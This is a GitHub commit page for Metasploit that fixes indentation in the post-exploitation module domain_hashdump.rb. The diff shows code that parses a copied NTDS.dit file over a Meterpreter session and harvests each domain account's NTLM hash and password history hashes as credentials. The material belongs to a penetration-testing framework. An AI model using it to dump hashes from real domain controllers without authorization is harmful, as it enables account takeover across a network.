Skip to content

Commit 33a07be

Browse files
committed
Fix whitespace issues
1 parent 53a068d commit 33a07be

File tree

1 file changed

+17
-17
lines changed

1 file changed

+17
-17
lines changed

modules/post/windows/gather/credentials/domain_hashdump.rb

Lines changed: 17 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -44,27 +44,27 @@ def run
4444
print_status repair_ntds(ntds_file)
4545
realm = sysinfo["Domain"]
4646
begin
47-
ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
48-
rescue Rex::Post::Meterpreter::RequestError => e
49-
print_bad("Failed to properly parse database: #{e}")
50-
if e.to_s.include? "1004"
51-
print_bad("Error 1004 is likely a jet database error because the ntds database is not in the regular format")
52-
end
53-
end
54-
unless ntds_parser.nil?
55-
print_status "Started up NTDS channel. Preparing to stream results..."
56-
ntds_parser.each_account do |ad_account|
57-
print_good ad_account.to_s
58-
report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)
59-
ad_account.nt_history.each_with_index do |nt_hash, index|
60-
hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
61-
hash_string << ":#{nt_hash}"
62-
report_hash(hash_string.downcase,ad_account.name, realm)
47+
ntds_parser = Metasploit::Framework::NTDS::Parser.new(client, ntds_file)
48+
rescue Rex::Post::Meterpreter::RequestError => e
49+
print_bad("Failed to properly parse database: #{e}")
50+
if e.to_s.include? "1004"
51+
print_bad("Error 1004 is likely a jet database error because the ntds database is not in the regular format")
52+
end
53+
end
54+
unless ntds_parser.nil?
55+
print_status "Started up NTDS channel. Preparing to stream results..."
56+
ntds_parser.each_account do |ad_account|
57+
print_good ad_account.to_s
58+
report_hash(ad_account.ntlm_hash.downcase, ad_account.name, realm)
59+
ad_account.nt_history.each_with_index do |nt_hash, index|
60+
hash_string = ad_account.lm_history[index] || Metasploit::Credential::NTLMHash::BLANK_LM_HASH
61+
hash_string << ":#{nt_hash}"
62+
report_hash(hash_string.downcase,ad_account.name, realm)
6363
end
6464
end
6565
end
6666
if datastore['cleanup']
67-
print_status "Deleting backup of NTDS.dit at #{ntds_file}"
67+
print_status "Deleting backup of NTDS.dit at #{ntds_file}"
6868
rm_f(ntds_file)
6969
else
7070
print_bad "#{ntds_file} requires manual cleanup"

0 commit comments

Comments
 (0)